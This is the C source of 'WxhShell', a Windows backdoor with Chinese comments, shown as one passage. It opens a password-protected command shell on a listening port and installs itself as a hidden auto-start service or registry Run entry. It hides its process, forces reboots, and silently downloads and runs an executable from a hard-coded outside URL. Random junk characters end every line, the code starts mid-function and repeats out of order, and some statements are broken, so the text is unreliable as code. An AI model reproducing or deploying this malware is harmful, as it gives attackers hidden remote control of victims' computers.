    if(Boot(SHUTDOWN)) h@PMCmf_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dyQ<UT  
    else { $4$?M[  
    closesocket(wsh); h8iaJqqvJ  
    ExitThread(0); ~,1-$#R  
    } c"f-$^<  
    break; 7(A G]  
    } I&'S2=s  
  // 获取shell K^]?@oHO  
  case 's': { ^-e3=&  
    CmdShell(wsh); ~WYE"(  
    closesocket(wsh); 75hFyh;u  
    ExitThread(0); PK.h E{R  
    break; 8T>3@kF  
  } y]QQvCJr3d  
  // 退出 |*]X\UE  
  case 'x': { ,%)WT>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &;NNU T>Q  
    CloseIt(wsh); d!}jdt5%  
    break; xVHQ[I%  
    } eu}:Wg2  
  // 离开 i h`y0(<  
  case 'q': { Pjj;.c 7_j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OVQxZ~uQ  
    closesocket(wsh); {jx#^n&5R  
    WSACleanup(); ;H m-,W  
    exit(1); 0btmao-  
    break; T0*TTB&b  
        } @ 2%.>0s.  
  } 6S! lD=  
  } m5'__<  
2kp|zX(  
  // 提示信息 A3 Rm 0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %4r!7X|O<  
} 43}&w.AS  
  } ~Me&cT8  
 eo<~1w  
  return; WoClTb>F  
} *FLTz(T  
IJ #v"! D  
// shell模块句柄 5JU(@}Db  
int CmdShell(SOCKET sock) X*>o9J45V  
{ <750-d!  
STARTUPINFO si; <@x+N%C  
ZeroMemory(&si,sizeof(si)); RBv=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mk[d7Yt{O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iaa (ce  
PROCESS_INFORMATION ProcessInfo; }'w^<:RSy  
char cmdline[]="cmd"; G8 <It5CU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]mD=Br*r~  
  return 0; 8ZNd|\  
} e $/Zb`k  
WrK^>  
// 自身启动模式 2\z`G  
int StartFromService(void) B!E<uVC  
{ 0o"<^] _|  
typedef struct @WDqP/4  
{ 93Ci$#<y  
  DWORD ExitStatus;  h>L6{d1  
  DWORD PebBaseAddress; e~2*> 5\:  
  DWORD AffinityMask; y?R <g^A  
  DWORD BasePriority; .U(SkZ`6  
  ULONG UniqueProcessId; -fSKJo#}|  
  ULONG InheritedFromUniqueProcessId; i/ O,`2  
}   PROCESS_BASIC_INFORMATION; &' Nk2{  
++p& x{  
PROCNTQSIP NtQueryInformationProcess; j9L+.UVI,  
p-(ADQS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rY_C3;B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a,0o{* (u$  
?w5nKpG#RI  
  HANDLE             hProcess; )Ido|!]0d  
  PROCESS_BASIC_INFORMATION pbi; si mX  
q2j}64o _S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `aWwF} +Y  
  if(NULL == hInst ) return 0; 2h? r![  
fY\tvo%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4K?H-Jco  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {If2[4!z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^)0{42!]  
{</$ObK  
  if (!NtQueryInformationProcess) return 0; )S;Xy`vO  
`w+9j-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3sg)]3jm2  
  if(!hProcess) return 0; O,xAu}6f+  
?BWvF]p5/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _^2[(<Gmv  
$85o%siS'  
  CloseHandle(hProcess); 3xCA\*  
 9jzLXym  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CyBM4qyH  
if(hProcess==NULL) return 0; 23n8,} H,  
* SON>BSF  
HMODULE hMod; Kp=3\)&  
char procName[255]; tL4]6u  
unsigned long cbNeeded; vM4`u5  
kq.R(z+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F0ivL`  
k s`  
  CloseHandle(hProcess); CR<pB)F?a  
)'I<xx'1  
if(strstr(procName,"services")) return 1; // 以服务启动 PS<tS_.  
W-ND<=:Up  
  return 0; // 注册表启动 ,"MUfZ  
} buM>^A"  
vM3|Ti>a'  
// 主模块 eS# 0-  
int StartWxhshell(LPSTR lpCmdLine) 6~Oje>w;  
{  v=Bh A9[  
  SOCKET wsl; Sdu@!<?B  
BOOL val=TRUE; uxJiec`&  
  int port=0; [\M?8R$)  
  struct sockaddr_in door; ! {o+B^^  
AFhG{G'W  
  if(wscfg.ws_autoins) Install(); ` Ehgn?6'  
}Yl8Q>t  
port=atoi(lpCmdLine); "s6_lhu=E7  
BRok 89  
if(port<=0) port=wscfg.ws_port; H><mcah  
ORPl^n-  
  WSADATA data; eEZlVHM;O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]A<u eM  
 AQNx%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fD}]Mi:V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <.%8j\j(  
  door.sin_family = AF_INET; j 8AR#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N{z(|2{A#  
  door.sin_port = htons(port); P:h4  
,'{B+CHoS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { te4"+[ $|  
closesocket(wsl); x 3co?  
return 1; >5},qs:lZ  
} 3$G25=eN  
2F@<{v4  
  if(listen(wsl,2) == INVALID_SOCKET) { )xy{[ K|M(  
closesocket(wsl); 9l^  
return 1; M,U=zNPnk  
} L$?~TY  
  Wxhshell(wsl); F4{. 7BT  
  WSACleanup(); 7ofH@U  
\^W?   
return 0; z)y(31K<1  
ph'SS=!.  
} a|{<#<6n(  
k.R/X  
// 以NT服务方式启动 ..{^"`FQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [&k k  
{ 1ZW'PXUZ  
DWORD   status = 0; m<LzB_ G\  
  DWORD   specificError = 0xfffffff; :< 3;7R'5  
90696v.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GIl{wd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f! Nc+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;HwJw\fo  
  serviceStatus.dwWin32ExitCode     = 0; T ]nR XW$  
  serviceStatus.dwServiceSpecificExitCode = 0; Vw@x  
  serviceStatus.dwCheckPoint       = 0; 8r|  
  serviceStatus.dwWaitHint       = 0; :H:}t>X6Vo  
5{f/H] P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zw:b7B]  
  if (hServiceStatusHandle==0) return; zYJ`.,#C 5  
a9JJuSRC  
status = GetLastError(); Vk=<,<BB  
  if (status!=NO_ERROR) Vx8.FNJh  
{ m`0{j1K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EGO@`<"h  
    serviceStatus.dwCheckPoint       = 0; tD482Sb=  
    serviceStatus.dwWaitHint       = 0; U,}T ]J  
    serviceStatus.dwWin32ExitCode     = status; T $]L 5  
    serviceStatus.dwServiceSpecificExitCode = specificError; >a~FSZf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \V\ET  
    return; TbM*?\7  
  } `.Q3s?1F  
0#GwhB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U.} =j'Us+  
  serviceStatus.dwCheckPoint       = 0; yAkN2  
  serviceStatus.dwWaitHint       = 0; ?^GsR[-x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -+Ji~;b  
} 5. UgJ/  
J, U~ .c  
// 处理NT服务事件,比如:启动、停止 j-E>*N}-_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D"aQbQP  
{ 6j![m+vo%  
switch(fdwControl) l),13"?C(  
{ 32'9Ch.  
case SERVICE_CONTROL_STOP: %R"nm  
  serviceStatus.dwWin32ExitCode = 0; :#KURYO<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !H.lVA  
  serviceStatus.dwCheckPoint   = 0; SvJ8Kl OV  
  serviceStatus.dwWaitHint     = 0; E*"E{E7  
  { v^E2!X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); + a@SdWf  
  } X2kLbe  
  return; bTKxv<  
case SERVICE_CONTROL_PAUSE: g{{SY5qDj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U^S:2  
  break; nrhpI d  
case SERVICE_CONTROL_CONTINUE: 4tKf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AMfu|%ZL  
  break; hzVO.Q*  
case SERVICE_CONTROL_INTERROGATE: } /FM#Xh  
  break; r{;4(3E2  
}; 1#RA+d(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YH$`r6\S  
} \dbtd hT;Z  
g-uFss  
// 标准应用程序主函数 ee\zU~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \wd`6  
{ `N,Jiw;bw  
Ghe=hhZ  
// 获取操作系统版本 JYU Ks~Qt  
OsIsNt=GetOsVer(); *xKR;?.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t":>O0>cz  
+}'K6x_  
  // 从命令行安装 "FD~XSRL  
  if(strpbrk(lpCmdLine,"iI")) Install(); CtxK{:  
j KK48S  
  // 下载执行文件 ^jC0S[csw2  
if(wscfg.ws_downexe) { ovVU%2o1b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }RK9Onh3G  
  WinExec(wscfg.ws_filenam,SW_HIDE); RH'R6  
} >rGlj  
SjU6+|l  
if(!OsIsNt) { m8`A~  
// 如果时win9x,隐藏进程并且设置为注册表启动 1 crjRbi  
HideProc(); F.hC%Ncu  
StartWxhshell(lpCmdLine); OQyOv%g5C  
} GQ8P}McA  
else pc>R|~J{2  
  if(StartFromService()) ;^]F~x}  
  // 以服务方式启动 SS-   
  StartServiceCtrlDispatcher(DispatchTable); }DwXs`M7  
else Q5ao2-\   
  // 普通方式启动 4 .qjTR  
  StartWxhshell(lpCmdLine); ]sE^=;Pv?  
m 9Q{ )?J7  
return 0; CiF bk&-g  
} Ha\hQ'99  
O^ hV<+CX  
]e9kf$'  
I}{eYXh  
=========================================== 0U~JSmj:2K  
}%|OnEk"  
<9vkiEo  
y3GIR f;>  
!Zx>)V6.  
~a Rq\fx{  
" W3kilhZ  
=#Jb9=zdR  
#include <stdio.h> ?Ci\3)u,P  
#include <string.h> z@}~2K  
#include <windows.h> xCD+qP ^  
#include <winsock2.h> kE}I b4]J  
#include <winsvc.h> Bf'(JJ7&N  
#include <urlmon.h> /xnhHwJm  
&bNj/n/  
#pragma comment (lib, "Ws2_32.lib") #/6X44 *u  
#pragma comment (lib, "urlmon.lib") <Do89  
>~ :]+q  
#define MAX_USER   100 // 最大客户端连接数 "tIx$?I  
#define BUF_SOCK   200 // sock buffer ,'}ZcN2)  
#define KEY_BUFF   255 // 输入 buffer wz57.e!Me=  
sy?W\(x  
#define REBOOT     0   // 重启 k2a^gCBC  
#define SHUTDOWN   1   // 关机 CJ>=odK[  
O jmz/W  
#define DEF_PORT   5000 // 监听端口 %G*D0pE  
qK pU.rP  
#define REG_LEN     16   // 注册表键长度 oj,  
#define SVC_LEN     80   // NT服务名长度 $6[]c)(  
OduTg^R  
// 从dll定义API jTJ[2WaS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :4dili4|/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oc3/ IWII  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LGkKR{ep(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'aJ?Syn  
t<=L&:<N  
// wxhshell配置信息 I&9B^fF6  
struct WSCFG { im`^_zebj  
  int ws_port;         // 监听端口 ){Y2TWW&0  
  char ws_passstr[REG_LEN]; // 口令 {z7{ta  
  int ws_autoins;       // 安装标记, 1=yes 0=no 62q-7nV  
  char ws_regname[REG_LEN]; // 注册表键名 Y;WrfO$J  
  char ws_svcname[REG_LEN]; // 服务名 -K{ID$!p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !~#31kL&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q]aRJ`9f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1vr/|RWW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gkjZX wp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n >^?BU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  S_atEmQ  
ZL Aq8X  
}; 3 ren1   
)_ y{^kn3^  
// default Wxhshell configuration Vl%k:  
struct WSCFG wscfg={DEF_PORT, aap:~F{]X  
    "xuhuanlingzhe", ?bEYvHAzg  
    1, L r,$98Dy  
    "Wxhshell", w@4+&v>O  
    "Wxhshell", @9L9c  
            "WxhShell Service", k dqH36&<  
    "Wrsky Windows CmdShell Service", 5y)kQ<x"  
    "Please Input Your Password: ", Z'~5L_.]Ai  
  1, &*}S 0  
  "http://www.wrsky.com/wxhshell.exe", pfG:P rZ  
  "Wxhshell.exe" d$ /o\G  
    }; (.cT<(TB  
d0,I] "  
// 消息定义模块 "v06F j>q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )]}*oO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BsAglem  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h(fh |R<  
char *msg_ws_ext="\n\rExit."; :5(TOF  
char *msg_ws_end="\n\rQuit."; We`axkC  
char *msg_ws_boot="\n\rReboot..."; 5D#*lMSP"'  
char *msg_ws_poff="\n\rShutdown..."; Ny#%7%(  
char *msg_ws_down="\n\rSave to "; DmYm~hzJ  
`i}\k  
char *msg_ws_err="\n\rErr!"; Mm5l>D'c  
char *msg_ws_ok="\n\rOK!"; 6 B )   
]PFc8qv{  
char ExeFile[MAX_PATH]; fAK  
int nUser = 0; ?'%&2M zM  
HANDLE handles[MAX_USER]; KNn E5f  
int OsIsNt; ,/KHKLY7  
=F`h2A;a  
SERVICE_STATUS       serviceStatus; gm8H)y,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^a]:GPc  
nL$tXm-x  
// 函数声明 Au {`o xD  
int Install(void); zAH+{4lC+  
int Uninstall(void); k $);<= ZI  
int DownloadFile(char *sURL, SOCKET wsh); gyPF!"!5dq  
int Boot(int flag); h ( Z7a%_  
void HideProc(void); O;XF'r_  
int GetOsVer(void); Og["X0j  
int Wxhshell(SOCKET wsl); uGv+c.~[j  
void TalkWithClient(void *cs); 1+^c3Dd`  
int CmdShell(SOCKET sock); %l,Xt"nS#  
int StartFromService(void); !#r]f9QP  
int StartWxhshell(LPSTR lpCmdLine);  i J\#su  
i-Z@6\/a5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D@Q|QY5qic  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b`2~  
pyNPdEy  
// 数据结构和表定义 ?vhW`LXNB  
SERVICE_TABLE_ENTRY DispatchTable[] = b~|B(lL6Xm  
{ {kC]x2 U  
{wscfg.ws_svcname, NTServiceMain},  j>6{PDaT  
{NULL, NULL} H;^6%HV1  
}; mr*zl*  
\+,jM6l}-  
// 自我安装 BKIt,7j  
int Install(void) n4:WM+f4  
{  2}`OjVS  
  char svExeFile[MAX_PATH]; rnW i<Se  
  HKEY key; L3/ua  
  strcpy(svExeFile,ExeFile); j8PK\j[  
x&;SLEM   
// 如果是win9x系统,修改注册表设为自启动 Awj`6GeJ  
if(!OsIsNt) { f_ ::?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -Ju!2by  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xGA%/dy,;  
  RegCloseKey(key); 1.uyu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1*a2s2G '  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w<'mV^S  
  RegCloseKey(key); <"t >!I  
  return 0; 'd28YjtoX  
    } rlds-j''  
  } /q>"">  
} @M(vaJB8u  
else { v/kYyz  
eVy,7goh  
// 如果是NT以上系统,安装为系统服务 9;@6iv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ci$o~b6V  
if (schSCManager!=0) <mpkkCl,  
{ ;xb:{?  
  SC_HANDLE schService = CreateService k`N)-`O7  
  ( ON$u581 y  
  schSCManager, >FY`xl\m}<  
  wscfg.ws_svcname, Q%85,L^U  
  wscfg.ws_svcdisp, lwK Au!l  
  SERVICE_ALL_ACCESS, I|p(8 R!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $,R|$0B7  
  SERVICE_AUTO_START, mtHw!*  
  SERVICE_ERROR_NORMAL, l<gg5 Zea  
  svExeFile, * @oAM,@  
  NULL, < B'BlqTS  
  NULL, 3c6#?<%0`  
  NULL, \}cEHLq  
  NULL, |=SaI%%Be  
  NULL ua2SW(C@  
  ); 1X=}  
  if (schService!=0) Jo2:0<VL  
  { s]}P jh8  
  CloseServiceHandle(schService); fHM<6i<C  
  CloseServiceHandle(schSCManager); )O_Y(^+ $  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :#+VH_%N  
  strcat(svExeFile,wscfg.ws_svcname); 0"ZRJl<)[I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W# ev  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VPf=LSxJe  
  RegCloseKey(key); HQ]g{JVld\  
  return 0; 7ZN0_Q s  
    } dfk=%lZYd9  
  } :sJVklK  
  CloseServiceHandle(schSCManager); kMUjSa~\  
} xvb5-tK -  
} oas}8A)  
f 1]1ZOb  
return 1; 32dR`qb  
} MbF.KmV  
`|I h"EZ  
// 自我卸载 edA.Va|0  
int Uninstall(void) :dB6/@f W  
{ ZXp=QH+f  
  HKEY key; 40mgB4I  
zU]95I  
if(!OsIsNt) { $+-2/=>Xk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,zO!`|I  
  RegDeleteValue(key,wscfg.ws_regname); ,\ov$biL  
  RegCloseKey(key); Yf<6[(6 O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lLl^2[4k5  
  RegDeleteValue(key,wscfg.ws_regname); 8M !If  
  RegCloseKey(key); NKh8'=S  
  return 0; KYMz  
  } SxH b76 ;  
} PY~cu@'k{  
} $o5<#g"/T  
else { 5ILce%#zL  
`Fnt#F}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~Sh8. ++}  
if (schSCManager!=0) Xji<oih  
{ '9*(4/,UJJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F`+}p-  
  if (schService!=0) <$/'iRtRzW  
  { /dj r_T  
  if(DeleteService(schService)!=0) { dy`K5lC@  
  CloseServiceHandle(schService); !Yd7&#s  
  CloseServiceHandle(schSCManager); 6_rS!X  
  return 0; UhXZ^ k3  
  } SCZtHEl9  
  CloseServiceHandle(schService); ?o?~Df&  
  } "1yXOy^2  
  CloseServiceHandle(schSCManager); Fn1|Wt*  
} J1KV?aR  
} \= =rdW-  
8 Zhx&  
return 1; z q _*)V  
} iW9G0Ay  
]+Ik/+Nz  
// 从指定url下载文件 N8_ c%6GE  
int DownloadFile(char *sURL, SOCKET wsh) rK7m(  
{ 4:WN-[xX  
  HRESULT hr; 5Ay\s:hb[u  
char seps[]= "/"; =*_T;;E  
char *token; GB&<+5t2  
char *file; aOIE9wO  
char myURL[MAX_PATH]; ^U)xQD"  
char myFILE[MAX_PATH]; cA m>f[  
rzsAnLxo  
strcpy(myURL,sURL); *#\da]"{  
  token=strtok(myURL,seps); rI23e[  
  while(token!=NULL) {d|e@`"T  
  { 2guWWFS  
    file=token; %L,mj  
  token=strtok(NULL,seps); L/t'|<m  
  } iK%%  
$t}t'uJ  
GetCurrentDirectory(MAX_PATH,myFILE); __O@w.  
strcat(myFILE, "\\"); w7+3?'L  
strcat(myFILE, file); eEl}.W}  
  send(wsh,myFILE,strlen(myFILE),0); $qO%lJ:  
send(wsh,"...",3,0); 8A}cxk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L"e8S%UqX  
  if(hr==S_OK) Po_y7 8ZD  
return 0; `o4alK\  
else Y- esD'MD  
return 1; G |033(j  
Y)lYEhF  
} DPqk~KCM  
RzgA;ZC'  
// 系统电源模块 W:VRLT>w>  
int Boot(int flag) 3g ep_ aC  
{ ,aq0Q<}~lc  
  HANDLE hToken; :QGgtTEV""  
  TOKEN_PRIVILEGES tkp; vVBu/)  
^qvN:v$1  
  if(OsIsNt) { u]RI,3Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8=\}#F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dX^ ^ @7  
    tkp.PrivilegeCount = 1; (]ToBju  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \2]M &n GT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qD!qSM  
if(flag==REBOOT) { ,E ]vM&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s aY;[bz}  
  return 0; #$-{hg{  
} *5T^wZpj)  
else { H;D 5)eJ90  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7\.{O$Q  
  return 0; .0 }eg$d  
} ZMa@/\pf1  
  } 9eR4?^(3!  
  else { M it3q  
if(flag==REBOOT) { b5!D('w>]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .! 'SG6 q  
  return 0; MEKsL7  
} VO u/9]a  
else { f(SK[+aqW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g  Z!q  
  return 0; JO[7_*s  
} m!#'4  
} skeH~-`M@  
9fQ[:Hl"  
return 1; 1/\JJ\  
} }%) ]b*3  
V$o]}|  
// win9x进程隐藏模块 b;xn0sDn#  
void HideProc(void) j3=%J5<  
{ dBRK6hFC  
C!X"0]@FA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a)lS)*Y  
  if ( hKernel != NULL ) ;+;%s D  
  { P z< \q;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Rq@M~;p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (Y!{ UNq5  
    FreeLibrary(hKernel); +YD_ L  
  } G1tua"Px  
+%sMd]$,n  
return; /Pv dP#!  
} CNMcQP  
){}1u ?  
// 获取操作系统版本 H6/n  
int GetOsVer(void) KATu7)e&~^  
{ SB x<-^  
  OSVERSIONINFO winfo; ks19e>'5Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (pv6V2i  
  GetVersionEx(&winfo); ,::f? Gc7j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (baBi9<P=  
  return 1; e|1.-P@  
  else Ah :d2*SR4  
  return 0; [ikW3 '99,  
} Gov]^?^D-  
M4}b l h#  
// 客户端句柄模块 5do49H_  
int Wxhshell(SOCKET wsl) $Cnv]1%  
{ .(g"(fgF  
  SOCKET wsh; ]L6[ vJHx  
  struct sockaddr_in client; &RB{0Qhx  
  DWORD myID; }kZ)|/]kn  
3Z_\.Z1R@  
  while(nUser<MAX_USER)  -^ceTzW+  
{ |\BxKwS^  
  int nSize=sizeof(client); EBMZ7b-7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); as^!c!  
  if(wsh==INVALID_SOCKET) return 1; IRG-H!FV  
ioT+,li  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wGLSei-s  
if(handles[nUser]==0) CbW>yr  
  closesocket(wsh); uz;zmK  
else a 8}!9kL  
  nUser++; wNm1H[{  
  } e| Sw+fhy<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :meq4!g{1  
p N+1/m,  
  return 0; y^:N^Gt  
} ?s]+2Tq  
PblO?@~O  
// 关闭 socket / n@by4;W  
void CloseIt(SOCKET wsh) tRYi q  
{ }rA _4%  
closesocket(wsh); _z6" C8W  
nUser--; *f-8egt-  
ExitThread(0); ]k)h<)nY  
} v43FU3  
:{=2ih-}  
// 客户端请求句柄 \5DOp-2  
void TalkWithClient(void *cs)  ovsI2  
{ K<E|29t^k  
-'Oq.$Qq  
  SOCKET wsh=(SOCKET)cs; N$! Vm(S  
  char pwd[SVC_LEN]; q?$<{Z"  
  char cmd[KEY_BUFF];  j|owU  
char chr[1]; \O=t5yS  
int i,j; }@TtX\7(D  
>Pwu>  
  while (nUser < MAX_USER) { A(1d q  
P$i d?  
if(wscfg.ws_passstr) { w,VUWja  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1kczlTF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~]78R!HJ  
  //ZeroMemory(pwd,KEY_BUFF); i p; RlO  
      i=0; snvixbN  
  while(i<SVC_LEN) { chszP{-@X  
bM>5=Zox  
  // 设置超时 T:0#se  
  fd_set FdRead; wvz_)b N~A  
  struct timeval TimeOut; cr>"LAi  
  FD_ZERO(&FdRead); R4 AKp1Y  
  FD_SET(wsh,&FdRead); Sp\ 7  
  TimeOut.tv_sec=8; JW9U&Bj{  
  TimeOut.tv_usec=0; &Xp<%[:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NsF8`r g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eUEO~M2&U{  
!g7bkA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wq>0W 4(  
  pwd=chr[0]; Z"5ewU<?  
  if(chr[0]==0xd || chr[0]==0xa) { &Ef_p-e-P  
  pwd=0; #G\;)pT  
  break; Np2.X+  
  } E3d# T  
  i++; Af XlV-v  
    } (0!U,8zz  
8omk4 ;  
  // 如果是非法用户,关闭 socket &uLC{Ik}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dS)c~:&+  
} K!qV82b='{  
!~QmY,R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hx:"'m5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aqoxj[V^3L  
k*k 9hv?  
while(1) { |YWX.-aeo  
[fIElH<  
  ZeroMemory(cmd,KEY_BUFF); g3kF&+2i  
$[M5V v  
      // 自动支持客户端 telnet标准   YdF\*tZ  
  j=0; ~O~R,h>  
  while(j<KEY_BUFF) { [*z`p;n2D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o}6d[G>  
  cmd[j]=chr[0]; VhX~sJ1%Gp  
  if(chr[0]==0xa || chr[0]==0xd) { ,#hx%$f}d  
  cmd[j]=0; BiI`oCX  
  break; {N`<TH PP  
  } c5AEn -Q  
  j++; L%5g]=  
    } }1? 2  
/5r!Fhx  
  // 下载文件 .!yw@kg  
  if(strstr(cmd,"http://")) { 7!jb ID~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rF)[ Sed:T  
  if(DownloadFile(cmd,wsh)) CSNfLGA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uv%?z0F<C  
  else [O\[,E"K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;6/dFOZn  
  } &'A8R;b}-?  
  else { +X4/l"|  
v|#}LQZ  
    switch(cmd[0]) { obtXtqew  
  xq\A TON  
  // 帮助 f ,WAl\  
  case '?': { Oq4J$/%  
